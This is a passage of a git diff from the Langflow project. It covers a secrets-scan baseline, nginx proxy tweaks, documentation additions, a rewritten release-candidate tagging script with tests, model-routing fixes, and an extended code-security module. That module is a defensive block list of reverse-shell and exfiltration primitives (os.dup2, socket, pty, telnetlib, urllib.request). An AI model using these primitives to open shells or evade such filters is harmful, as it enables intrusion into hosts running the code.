97794, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "392387c9ad6b316839f2e2add73f8ac8ce48df9d", + "is_verified": false, + "line_number": 98350 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "5ab5903f6c15a46a71c8db55e70119352304cc15", + "is_verified": false, + "line_number": 99110, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "4311a7e1eaf728d4f31467084f690eff7493a9e4", + "is_verified": false, + "line_number": 99693, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "35e291e7311fd649b14b26dc15467ec2a77002d1", + "is_verified": false, + "line_number": 105259 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "cd50293b35634a61add9cbfeb9e48fbd44e78bc3", + "is_verified": false, + "line_number": 106008, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "b016c72dac43dd6eec034d8b49aa1ded1cc0c6fa", + "is_verified": false, + "line_number": 106250, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "72979300428bd6d483243f5d1cb7430ed1ebf6d3", + "is_verified": false, + "line_number": 106588, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "08509f7cd25c76dc5ca97e64d21478a617fa193b", + "is_verified": false, + "line_number": 106830, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "3aca1b93acb7f31881d4a1bc366baa64cd0d6eb4", + "is_verified": false, + "line_number": 108408 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "5e470d5f88efb21f038e1dc7235e574b3786494c", + "is_verified": false, + "line_number": 108964 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "2d693a7a1c790c58b5b95735fcd83326b331dd58", + "is_verified": false, + "line_number": 109259 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "711ebff4ea0d7c18d03b813853cda7a8eb32f484", + "is_verified": false, + "line_number": 109425 + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "8c8c106382a84413372980d0991df3e2a20c3797", + "is_verified": false, + "line_number": 111017, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "1fd6ae619425c7c342273faad31539a8d2f61787", + "is_verified": false, + "line_number": 111601, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "4ffc5d8cd514be957c9b87ac84c66205ab6d08d3", + "is_verified": false, + "line_number": 112606, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "497af5dcf573db44fc30ac071ebb008e7ac37669", + "is_verified": false, + "line_number": 113359, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "6a5f46048b547457e72572c2d38fb1046591ca71", + "is_verified": false, + "line_number": 114407, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "7d770d0728208206c486b536b06077c9953d21f2", + "is_verified": false, + "line_number": 114791, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "6fb5a96582d72c338a3f3a7d8144190630d64133", + "is_verified": false, + "line_number": 115193, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "270c9abba84329e1be2fa7130b44134c23891f1f", + "is_verified": false, + "line_number": 115531, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "a781a6064ef5e2cb085282bb1912e65232fb55d1", + "is_verified": false, + "line_number": 115936, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "4943819ce50b5209882a4b91dd4b6140260ec428", + "is_verified": false, + "line_number": 116499, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "12690ce26e17773a811f28f4ce4fc91b7e42a747", + "is_verified": false, + "line_number": 116808, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "b8e5d31cffa4e410fe6b03a0855c592bceb48d82", + "is_verified": false, + "line_number": 117328, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "be1df677c309419f4efa0ac48afb2a573beeb95d", + "is_verified": false, + "line_number": 118420, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "5d65cf087adec89fb18354508030304fc3809586", + "is_verified": false, + "line_number": 118687, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "76913f65d6da6c5660de587c8a3e807aafa039dd", + "is_verified": false, + "line_number": 118899, + "is_secret": false + }, + { + "type": "Hex High Entropy String", + "filename": "src/lfx/src/lfx/_assets/component_index.json", + "hashed_secret": "54c18b51f94834edcdb35a2ac9f2c5df32e3c2b7", + "is_verified": false, + "line_number": 119063 } ], "src/lfx/src/lfx/_assets/stable_hash_history.json": [ @@ -9553,5 +10669,5 @@ } ] }, - "generated_at": "2026-06-18T18:28:04Z" + "generated_at": "2026-06-24T00:21:41Z" } diff --git a/docker/frontend/default.conf.template b/docker/frontend/default.conf.template index 6430c6a823..29f83021d6 100644 --- a/docker/frontend/default.conf.template +++ b/docker/frontend/default.conf.template @@ -39,12 +39,15 @@ http { location /api { proxy_pass ${BACKEND_URL}; + proxy_http_version 1.1; } location /health_check { proxy_pass ${BACKEND_URL}; + proxy_http_version 1.1; } location /health { proxy_pass ${BACKEND_URL}; + proxy_http_version 1.1; } include /etc/nginx/extra-conf.d/*.conf; diff --git a/docker/frontend/nginx.conf b/docker/frontend/nginx.conf index 05f90d0c31..06524e8a43 100644 --- a/docker/frontend/nginx.conf +++ b/docker/frontend/nginx.conf @@ -18,12 +18,15 @@ server { } location /api { proxy_pass __BACKEND_URL__; + proxy_http_version 1.1; } location /health_check { proxy_pass __BACKEND_URL__; + proxy_http_version 1.1; } location /health { proxy_pass __BACKEND_URL__; + proxy_http_version 1.1; } include /etc/nginx/extra-conf.d/*.conf; diff --git a/docs/docs/Develop/configuration-custom-database.mdx b/docs/docs/Develop/configuration-custom-database.mdx index 2b00e19933..d03f8833df 100644 --- a/docs/docs/Develop/configuration-custom-database.mdx +++ b/docs/docs/Develop/configuration-custom-database.mdx @@ -7,6 +7,12 @@ Langflow's default database is [SQLite](https://www.sqlite.org/docs.html), but y This guide walks you through setting up an external database for Langflow by replacing the default SQLite connection string `sqlite:///./langflow.db` with PostgreSQL, both in local and containerized environments. +:::note SQLite paths should be absolute +If you set `LANGFLOW_DATABASE_URL` to a SQLite connection string, use an **absolute** path, such as `sqlite:////absolute/path/to/langflow.db` (note the four leading slashes) or, on Windows, `sqlite:///C:/path/to/langflow.db`. + +A relative path such as `sqlite:///./langflow.db` is resolved against the directory you start Langflow from, so launching from different directories points at different database files (your flows can appear to "disappear"), and a relative path that includes a subdirectory which doesn't yet exist fails at startup because SQLite does not create intermediate directories. +::: + In this configuration, all structured application data from Langflow, including flows, message history, and logs, is instead managed by PostgreSQL. PostgreSQL is better suited for production environments due to its robust support for concurrent users, advanced data integrity features, and scalability. Langflow can more efficiently handle multiple users and larger workloads by using PostgreSQL as the database. diff --git a/docs/docs/Develop/extensions-manifest.mdx b/docs/docs/Develop/extensions-manifest.mdx index b10da11625..b19fda6e91 100644 --- a/docs/docs/Develop/extensions-manifest.mdx +++ b/docs/docs/Develop/extensions-manifest.mdx @@ -129,3 +129,6 @@ The loader and validator both emit typed errors keyed by the manifest field that Run `lfx extension validate ` to see every error as a structured object with `code`, `message`, `location`, `hint`, and `ref_url`. ## See also + +- [Bundle extensions overview](./extensions-overview) +- [Build your first extension](./extensions-quickstart) diff --git a/docs/docs/Develop/extensions-overview.mdx b/docs/docs/Develop/extensions-overview.mdx index e34aac7a9c..ede3c4e8e4 100644 --- a/docs/docs/Develop/extensions-overview.mdx +++ b/docs/docs/Develop/extensions-overview.mdx @@ -108,4 +108,9 @@ There is no version arithmetic across the `lfx`, `lfx-bundles`, and `lfx- not found"`. Two distinct defects compounded, both specific to a *live-only* provider whose entire static catalog is deprecated (only WatsonX today): + +1. **Listing**: `list_models` computed each provider's `is_enabled`/`is_configured` *before* `replace_with_live_models`. WatsonX is absent from the non-deprecated static catalog, so it is only **appended** by the live replacement — after the status loop had already run. The appended entry carried no `is_enabled`, and the assistant panel (`useEnabledModels` → `.filter(p => p.is_enabled)`) dropped it. +2. **Routing**: `build_model_config` (and `TranslationFlow._build_model_config`) read the non-existent metadata key `model_name_param` from `get_provider_param_mapping`, which only emits `model_param`. It silently defaulted to `"model"`. For WatsonX this set `ChatWatsonx.model` instead of `.model_id`, which routes through the OpenAI-compatible **AI Gateway** (foundation-model ids not provisioned → `400 "model not found"`) instead of the native `ModelInference` foundation-models API. OpenAI/Anthropic were unaffected because their `model_param` is already `"model"`. + +#### Decision +1. Run `replace_with_live_models` **before** computing `is_configured`/`is_enabled` so live-appended providers receive status like any other. +2. Read `model_param` (not `model_name_param`) when building the assistant/translation model config, matching the canonical `unified_models/model_catalog.py` path, so WatsonX is instantiated with `model_id` and routes through `ModelInference`. + +#### Key Files +- `src/backend/.../api/v1/models.py` — `list_models` ordering (status after live replacement) +- `src/backend/.../agentic/flows/model_config.py` — `build_model_config` reads `model_param` +- `src/backend/.../agentic/flows/translation_flow.py` — `_build_model_config` reads `model_param` + +--- + ## 6. Technical Specification ### 6.1 Dependencies diff --git a/docs/versioned_docs/version-1.10.0/Develop/extensions-manifest.mdx b/docs/versioned_docs/version-1.10.0/Develop/extensions-manifest.mdx index b10da11625..b19fda6e91 100644 --- a/docs/versioned_docs/version-1.10.0/Develop/extensions-manifest.mdx +++ b/docs/versioned_docs/version-1.10.0/Develop/extensions-manifest.mdx @@ -129,3 +129,6 @@ The loader and validator both emit typed errors keyed by the manifest field that Run `lfx extension validate ` to see every error as a structured object with `code`, `message`, `location`, `hint`, and `ref_url`. ## See also + +- [Bundle extensions overview](./extensions-overview) +- [Build your first extension](./extensions-quickstart) diff --git a/docs/versioned_docs/version-1.10.0/Develop/extensions-overview.mdx b/docs/versioned_docs/version-1.10.0/Develop/extensions-overview.mdx index c748210673..af2f414c2a 100644 --- a/docs/versioned_docs/version-1.10.0/Develop/extensions-overview.mdx +++ b/docs/versioned_docs/version-1.10.0/Develop/extensions-overview.mdx @@ -70,4 +70,9 @@ lfx extension list If you have custom components that you want to distribute and version independently of your Langflow install, you can package them as an extension. -For more information, see [Build your first Langflow Extension](./extensions-quickstart.mdx). \ No newline at end of file +For more information, see [Build your first Langflow Extension](./extensions-quickstart.mdx). + +## See also + +- [Build your first extension](./extensions-quickstart) +- [Manifest reference](./extensions-manifest) \ No newline at end of file diff --git a/docs/versioned_docs/version-1.10.0/Develop/extensions-quickstart.mdx b/docs/versioned_docs/version-1.10.0/Develop/extensions-quickstart.mdx index 22aa2c8175..69d0b6048f 100644 --- a/docs/versioned_docs/version-1.10.0/Develop/extensions-quickstart.mdx +++ b/docs/versioned_docs/version-1.10.0/Develop/extensions-quickstart.mdx @@ -107,3 +107,6 @@ The scaffold ships a working `Component` subclass that prints `"Hello, {name}!"` The bundle appears in the palette without further configuration. ## See also + +- [Bundle extensions overview](./extensions-overview) +- [Manifest reference](./extensions-manifest) diff --git a/pyproject.toml b/pyproject.toml index 33ca981ad3..400d6d74d0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -207,6 +207,8 @@ override-dependencies = [ "mako>=1.3.12,<2.0.0", # CVE-2026-44307 "urllib3>=2.7.0,<3.0.0", # CVE-2026-44431, CVE-2026-44432 "python-liquid>=2.2.0,<3.0.0", # CVE-2026-45017 + # TODO: unpin torchvision once 0.27.1+df56172 isn't the prefered index + "torchvision<0.27.1" ] [project.scripts] diff --git a/scripts/ci/langflow_pre_release_tag.py b/scripts/ci/langflow_pre_release_tag.py index a070cb200b..e47534e4e8 100755 --- a/scripts/ci/langflow_pre_release_tag.py +++ b/scripts/ci/langflow_pre_release_tag.py @@ -1,39 +1,102 @@ #!/usr/bin/env python3 -import re +from __future__ import annotations + +import argparse import sys +from typing import TYPE_CHECKING -ARGUMENT_NUMBER = 3 +import packaging.version +from packaging.version import Version + +if TYPE_CHECKING: + from collections.abc import Iterable -def create_tag(package_version: str, latest_released_version: str | None) -> str: - # normalize optional leading 'v' and whitespace - pkg = package_version.strip().lstrip("v") - latest = None - if latest_released_version is not None: - lr = latest_released_version.strip() - if lr != "": - latest = lr.lstrip("v") +def _read_released_versions(values: list[str]) -> list[str]: + if values == ["-"]: + return [line.strip() for line in sys.stdin if line.strip()] + return [value.strip() for value in values if value.strip()] - new_pre_release_version = f"{pkg}.rc0" - if latest: - # match either exact pkg or pkg.rcN (with or without dot before rc, per PEP 440 normalization) - m = re.match(rf"^{re.escape(pkg)}\.?rc(\d+)$", latest) - if m: - rc_number = int(m.group(1)) + 1 - new_pre_release_version = f"{pkg}.rc{rc_number}" - elif latest == pkg: - new_pre_release_version = f"{pkg}.rc1" +def next_rc_number(package_version: str, released_versions: Iterable[str]) -> int: + base_version = Version(package_version.strip().lstrip("v")).base_version + rc_numbers: list[int] = [] + exact_final_exists = False - return new_pre_release_version + for released_version_str in released_versions: + normalized_version_str = released_version_str.strip().lstrip("v") + if not normalized_version_str: + continue + try: + released_version = Version(normalized_version_str) + except packaging.version.InvalidVersion: + continue + + if released_version.base_version != base_version: + continue + + if released_version.pre and released_version.pre[0] == "rc": + rc_numbers.append(released_version.pre[1]) + elif not released_version.is_prerelease: + exact_final_exists = True + + if rc_numbers: + return max(rc_numbers) + 1 + if exact_final_exists: + return 1 + return 0 + + +def create_tag( + package_version: str, + released_versions: Iterable[str] | str | None, + rc_number: int | None = None, +) -> str: + if released_versions is None: + versions: list[str] = [] + elif isinstance(released_versions, str): + versions = [released_versions] + else: + versions = list(released_versions) + + base_version = Version(package_version.strip().lstrip("v")).base_version + next_rc = next_rc_number(base_version, versions) + if rc_number is not None: + next_rc = max(next_rc, rc_number) + + return str(Version(f"{base_version}rc{next_rc}")) + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Return the next rc pre-release for a package base version.", + ) + parser.add_argument("package_version") + parser.add_argument( + "released_versions", + nargs="*", + help="Released versions to inspect, or '-' to read one version per line from stdin.", + ) + parser.add_argument( + "--rc-number", + type=int, + default=None, + help="Minimum rc number to use. This lets a workflow apply one shared rc number across packages.", + ) + parser.add_argument( + "--print-rc-number", + action="store_true", + help="Print only the next rc number instead of the full version.", + ) + args = parser.parse_args() + + released_versions = _read_released_versions(args.released_versions) + if args.print_rc_number: + print(next_rc_number(args.package_version, released_versions)) + else: + print(create_tag(args.package_version, released_versions, args.rc_number)) if __name__ == "__main__": - if len(sys.argv) != ARGUMENT_NUMBER: - msg = "Specify package_version and latest_released_version (use empty string for none)." - raise ValueError(msg) - - package_version = sys.argv[1] - latest_released_version = sys.argv[2] - print(create_tag(package_version, latest_released_version)) + main() diff --git a/scripts/ci/test_langflow_pre_release_tag.py b/scripts/ci/test_langflow_pre_release_tag.py new file mode 100644 index 0000000000..eae3ef391f --- /dev/null +++ b/scripts/ci/test_langflow_pre_release_tag.py @@ -0,0 +1,73 @@ +"""Unit tests for langflow_pre_release_tag.py. + +Run directly or with pytest: + + cd scripts/ci && uv run python test_langflow_pre_release_tag.py + cd scripts/ci && uv run python -m pytest test_langflow_pre_release_tag.py -q +""" + +import contextlib +import io +import sys +from pathlib import Path +from unittest import mock + +sys.path.insert(0, str(Path(__file__).parent)) +import langflow_pre_release_tag as pr + + +def test_ignores_unrelated_newer_pre_release_line(): + assert pr.create_tag("1.10.1", ["1.11.0.dev15"]) == "1.10.1rc0" + + +def test_increments_same_base_rc_with_or_without_dot(): + releases = ["1.10.1rc0", "1.10.1.rc1", "1.11.0.dev15"] + assert pr.create_tag("1.10.1", releases) == "1.10.1rc2" + + +def test_final_same_base_starts_at_rc1(): + assert pr.create_tag("1.10.1", ["1.10.1"]) == "1.10.1rc1" + + +def test_shared_rc_number_floor_applies_to_other_package_base(): + assert pr.create_tag("0.10.1", [], rc_number=1) == "0.10.1rc1" + + +def test_shared_rc_number_floor_does_not_regress_existing_higher_rc(): + assert pr.create_tag("1.10.1", ["1.10.1rc5"], rc_number=1) == "1.10.1rc6" + + +def test_cli_reads_released_versions_from_stdin(): + output = io.StringIO() + with ( + mock.patch.object(sys, "argv", ["langflow_pre_release_tag.py", "1.10.1", "--print-rc-number", "-"]), + mock.patch.object(sys, "stdin", io.StringIO("1.10.1rc0\n1.11.0.dev15\n")), + contextlib.redirect_stdout(output), + ): + pr.main() + assert output.getvalue().strip() == "1" + + +def test_unparseable_versions_are_skipped(): + assert pr.create_tag("1.10.1", ["not-a-version", "1.10.1rc0"]) == "1.10.1rc1" + + +def _main(): + failures = 0 + for name, fn in sorted(globals().items()): + if name.startswith("test_") and callable(fn): + try: + fn() + except Exception as exc: # noqa: BLE001 + failures += 1 + print(f"FAIL {name}: {exc}") + else: + print(f"ok {name}") + if failures: + msg = f"{failures} test(s) failed." + raise SystemExit(msg) + print("All langflow_pre_release_tag tests passed.") + + +if __name__ == "__main__": + _main() diff --git a/src/backend/base/langflow/agentic/api/router.py b/src/backend/base/langflow/agentic/api/router.py index 5a03828fc6..1421fe8248 100644 --- a/src/backend/base/langflow/agentic/api/router.py +++ b/src/backend/base/langflow/agentic/api/router.py @@ -33,6 +33,7 @@ from langflow.agentic.services.provider_service import ( PREFERRED_PROVIDERS, get_default_model, get_enabled_providers_for_user, + list_installed_tool_calling_models, ) from langflow.api.utils.core import CurrentActiveUser, DbSession @@ -89,7 +90,7 @@ async def _resolve_assistant_context( if not api_key_name: raise HTTPException(status_code=400, detail=f"Unknown provider: {provider}") - model_name = request.model_name or get_default_model(provider) or "" + model_name = request.model_name or get_default_model(provider, user_id=user_id) or "" # Get all configured variables for the provider provider_vars = get_all_variables_for_provider(user_id, provider) @@ -208,9 +209,13 @@ async def check_assistant_config( include_deprecated=False, model_type="llm", ) - for provider_dict in models_by_provider: provider_name = provider_dict.get("provider") + if not provider_name: + continue + installed = list_installed_tool_calling_models(provider_name, user_id) + if installed: + provider_dict["models"] = [{"model_name": name, "metadata": {}} for name in installed] models = provider_dict.get("models", []) model_list = [] @@ -231,7 +236,7 @@ async def check_assistant_config( ) default_model = get_default_model(provider_name) - if not default_model and model_list: + if model_list and default_model not in {m["name"] for m in model_list}: default_model = model_list[0]["name"] if model_list: diff --git a/src/backend/base/langflow/agentic/flows/LangflowAssistant.json b/src/backend/base/langflow/agentic/flows/LangflowAssistant.json index 4df24f69f0..059989b7c0 100644 --- a/src/backend/base/langflow/agentic/flows/LangflowAssistant.json +++ b/src/backend/base/langflow/agentic/flows/LangflowAssistant.json @@ -2761,14 +2761,14 @@ "show": true, "title_case": false, "type": "code", - "value": "from langflow.custom import Component\nfrom langflow.io import DataFrameInput, MessageTextInput, DropdownInput, BoolInput, Output\nfrom langflow.schema import DataFrame\nimport pandas as pd\n\n\nclass DataFrameKeywordSearch(Component):\n display_name = \"Keyword Search\"\n description = \"Search for keywords in a DataFrame column using any/all/coverage matching\"\n icon = \"Search\"\n\n inputs = [\n DataFrameInput(\n name=\"dataframe\",\n display_name=\"DataFrame\",\n info=\"Input DataFrame to search\",\n ),\n MessageTextInput(\n name=\"column\",\n display_name=\"Column\",\n info=\"Column name to search in\",\n tool_mode=True,\n ),\n MessageTextInput(\n name=\"keywords\",\n display_name=\"Keywords\",\n info=\"Keywords to search for\",\n is_list=True,\n tool_mode=True,\n ),\n DropdownInput(\n name=\"match_type\",\n display_name=\"Match Type\",\n options=[\"any\", \"all\", \"coverage\"],\n value=\"any\",\n info=\"'any' = OR logic, 'all' = AND logic, 'coverage' = keyword coverage ranking\",\n ),\n BoolInput(\n name=\"case_sensitive\",\n display_name=\"Case Sensitive\",\n value=False,\n advanced=True,\n info=\"Whether search is case-sensitive\",\n ),\n IntInput(\n name=\"number_candidates\",\n display_name=\"Number of Candidates\",\n value=5,\n info=\"The number of candidates to filter and return in the dataframe output\")\n ]\n\n outputs = [\n Output(name=\"result\", display_name=\"Filtered DataFrame\", method=\"search\"),\n ]\n\n def search(self) -> DataFrame:\n df = self.dataframe\n column = self.column\n keywords = self.keywords if isinstance(self.keywords, list) else []\n match_type = self.match_type\n case_sensitive = self.case_sensitive\n\n if df is None or len(df) == 0:\n return DataFrame(pd.DataFrame())\n\n if column not in df.columns:\n return DataFrame(pd.DataFrame())\n\n keywords = [str(k).strip() for k in keywords if k]\n if not keywords:\n return DataFrame(df)\n\n text_series = df[column].fillna(\"\").astype(str)\n\n if not case_sensitive:\n text_series = text_series.str.lower()\n keywords = [k.lower() for k in keywords]\n\n if match_type == \"any\":\n mask = pd.Series([False] * len(df), index=df.index)\n for keyword in keywords:\n mask = mask | text_series.str.contains(keyword, regex=False)\n result = df[mask]\n\n elif match_type == \"all\":\n mask = pd.Series([True] * len(df), index=df.index)\n for keyword in keywords:\n mask = mask & text_series.str.contains(keyword, regex=False)\n result = df[mask]\n\n elif match_type == \"coverage\":\n scores = []\n total_keywords = len(keywords)\n\n for text in text_series:\n keywords_found = sum(1 for keyword in keywords if keyword in text)\n score = keywords_found / total_keywords\n scores.append(score)\n\n result = df.copy()\n result[\"_score\"] = scores\n result = result[result[\"_score\"] > 0].sort_values(\"_score\", ascending=False)\n\n return DataFrame(result.reset_index(drop=True)).head(self.number_candidates)" + "value": "from langflow.custom import Component\nfrom langflow.io import DataFrameInput, MessageTextInput, DropdownInput, BoolInput, Output\nfrom langflow.schema import DataFrame\nimport pandas as pd\n\n\nclass DataFrameKeywordSearch(Component):\n display_name = \"Keyword Search\"\n description = \"Search for keywords in a DataFrame column using any/all/coverage matching\"\n icon = \"Search\"\n\n inputs = [\n DataFrameInput(\n name=\"dataframe\",\n display_name=\"DataFrame\",\n info=\"Input DataFrame to search\",\n ),\n MessageTextInput(\n name=\"column\",\n display_name=\"Column\",\n info=\"Column name to search in. Valid columns: 'file_path' (component file path) and 'text' (component source code).\",\n tool_mode=True,\n ),\n MessageTextInput(\n name=\"keywords\",\n display_name=\"Keywords\",\n info=\"Keywords to search for\",\n is_list=True,\n tool_mode=True,\n ),\n DropdownInput(\n name=\"match_type\",\n display_name=\"Match Type\",\n options=[\"any\", \"all\", \"coverage\"],\n value=\"any\",\n info=\"'any' = OR logic, 'all' = AND logic, 'coverage' = keyword coverage ranking\",\n ),\n BoolInput(\n name=\"case_sensitive\",\n display_name=\"Case Sensitive\",\n value=False,\n advanced=True,\n info=\"Whether search is case-sensitive\",\n ),\n IntInput(\n name=\"number_candidates\",\n display_name=\"Number of Candidates\",\n value=10,\n info=\"The number of candidates to filter and return in the dataframe output\")\n ]\n\n outputs = [\n Output(name=\"result\", display_name=\"Filtered DataFrame\", method=\"search\"),\n ]\n\n def search(self) -> DataFrame:\n df = self.dataframe\n column = self.column\n keywords = self.keywords if isinstance(self.keywords, list) else []\n match_type = self.match_type\n case_sensitive = self.case_sensitive\n\n if df is None or len(df) == 0:\n return DataFrame(pd.DataFrame())\n\n if column not in df.columns:\n available = \", \".join(str(c) for c in df.columns)\n msg = f\"Column '{column}' not found. Available columns: {available}\"\n raise ValueError(msg)\n\n keywords = [str(k).strip() for k in keywords if k]\n if not keywords:\n return DataFrame(df)\n\n text_series = df[column].fillna(\"\").astype(str)\n\n if not case_sensitive:\n text_series = text_series.str.lower()\n keywords = [k.lower() for k in keywords]\n\n if match_type == \"any\":\n mask = pd.Series([False] * len(df), index=df.index)\n for keyword in keywords:\n mask = mask | text_series.str.contains(keyword, regex=False)\n result = df[mask]\n\n elif match_type == \"all\":\n mask = pd.Series([True] * len(df), index=df.index)\n for keyword in keywords:\n mask = mask & text_series.str.contains(keyword, regex=False)\n result = df[mask]\n\n elif match_type == \"coverage\":\n scores = []\n total_keywords = len(keywords)\n\n for text in text_series:\n keywords_found = sum(1 for keyword in keywords if keyword in text)\n score = keywords_found / total_keywords\n scores.append(score)\n\n result = df.copy()\n result[\"_score\"] = scores\n result = result[result[\"_score\"] > 0].sort_values(\"_score\", ascending=False)\n\n return DataFrame(result.reset_index(drop=True)).head(self.number_candidates)" }, "column": { "_input_type": "MessageTextInput", "advanced": false, "display_name": "Column", "dynamic": false, - "info": "Column name to search in", + "info": "Column name to search in. Valid columns: 'file_path' (component file path) and 'text' (component source code).", "input_types": [ "Message" ], @@ -2887,7 +2887,7 @@ "trace_as_metadata": true, "track_in_telemetry": true, "type": "int", - "value": 2 + "value": 10 }, "tools_metadata": { "_input_type": "ToolsInput", diff --git a/src/backend/base/langflow/agentic/flows/model_config.py b/src/backend/base/langflow/agentic/flows/model_config.py index 90d8f2938d..31f307ef6f 100644 --- a/src/backend/base/langflow/agentic/flows/model_config.py +++ b/src/backend/base/langflow/agentic/flows/model_config.py @@ -21,7 +21,7 @@ def build_model_config(provider: str, model_name: str) -> list[dict]: "api_key_param": mapping.get("api_key_param", "api_key"), # pragma: allowlist secret "context_length": 128000, "model_class": mapping.get("model_class", "ChatOpenAI"), - "model_name_param": mapping.get("model_name_param", "model"), + "model_name_param": mapping.get("model_param", "model"), } for extra_param in ("url_param", "project_id_param", "base_url_param"): if extra_param in mapping: diff --git a/src/backend/base/langflow/agentic/flows/translation_flow.py b/src/backend/base/langflow/agentic/flows/translation_flow.py index 19200d4269..fc2c1743d7 100644 --- a/src/backend/base/langflow/agentic/flows/translation_flow.py +++ b/src/backend/base/langflow/agentic/flows/translation_flow.py @@ -302,7 +302,7 @@ def _build_model_config(provider: str, model_name: str) -> list[dict]: "api_key_param": param_mapping.get("api_key_param", "api_key"), "context_length": 128000, "model_class": param_mapping.get("model_class", "ChatOpenAI"), - "model_name_param": param_mapping.get("model_name_param", "model"), + "model_name_param": param_mapping.get("model_param", "model"), } # Include extra params like base_url_param for providers like Ollama for extra_param in ("url_param", "project_id_param", "base_url_param"): diff --git a/src/backend/base/langflow/agentic/helpers/code_security.py b/src/backend/base/langflow/agentic/helpers/code_security.py index cf27d14e57..fa83a08a37 100644 --- a/src/backend/base/langflow/agentic/helpers/code_security.py +++ b/src/backend/base/langflow/agentic/helpers/code_security.py @@ -64,6 +64,9 @@ DANGEROUS_ATTR_CALLS: list[tuple[str, str, str]] = [ ("subprocess", "Popen", "subprocess.Popen() is forbidden"), ("subprocess", "check_output", "subprocess.check_output() is forbidden"), ("subprocess", "check_call", "subprocess.check_call() is forbidden"), + # File-descriptor redirection wires a socket to a shell (reverse shell). + ("os", "dup2", "os.dup2() is forbidden in components"), + ("os", "dup", "os.dup() is forbidden in components"), ("os", "getenv", "os.getenv() is forbidden — use Langflow's variable/secret service"), ("os", "putenv", "os.putenv() is forbidden in components"), ("shutil", "rmtree", "shutil.rmtree() is forbidden"), @@ -83,8 +86,36 @@ DANGEROUS_IMPORTS: set[str] = { "codeop", "compileall", "importlib", + # Network / IPC primitives — same attack class as subprocess (reverse + # shells, raw exfil, SSRF, non-HTTP protocol egress). High-level HTTP via + # ``requests``/``httpx`` stays allowed by design (legit API components need + # it); these provide raw sockets and non-HTTP channels a component never + # legitimately needs. + "socket", + "socketserver", + "ftplib", + "telnetlib", + "smtplib", + "poplib", + "imaplib", + "nntplib", + "xmlrpc", + # Pseudo-terminal — spawns an interactive shell (pty.spawn). + "pty", } +# Dangerous *submodules* of packages that also expose safe siblings. Block the +# dotted prefix while leaving the safe parts of the package importable (e.g. +# ``urllib.parse`` for urlencode/quote, ``from http import HTTPStatus``). +# ``urllib.request`` additionally supports ``file://`` / ``ftp://`` schemes, so +# it is a local-file-read and SSRF bypass beyond what plain HTTP allows. +DANGEROUS_SUBMODULES: tuple[str, ...] = ( + "urllib.request", + "urllib.error", + "http.client", + "http.server", +) + # Imports where only specific names are dangerous (module -> set of dangerous names) RESTRICTED_IMPORT_NAMES: dict[str, set[str]] = { "os": { @@ -100,10 +131,81 @@ RESTRICTED_IMPORT_NAMES: dict[str, set[str]] = { "remove", "rmdir", "unlink", + "dup2", + "dup", }, } +def _is_dangerous_submodule(dotted: str) -> bool: + """True if a dotted module path is (or is under) a blocked submodule. + + e.g. ``urllib.request`` and ``urllib.request.foo`` match; ``urllib`` and + ``urllib.parse`` do not. + """ + return any(dotted == prefix or dotted.startswith(prefix + ".") for prefix in DANGEROUS_SUBMODULES) + + +def _dotted_parts(node: ast.AST) -> list[str] | None: + """Reconstruct a pure ``a.b.c`` Name/Attribute chain into ``["a", "b", "c"]``. + + Returns None if the chain is not rooted in a plain Name (e.g. ``foo().bar``). + """ + parts: list[str] = [] + while isinstance(node, 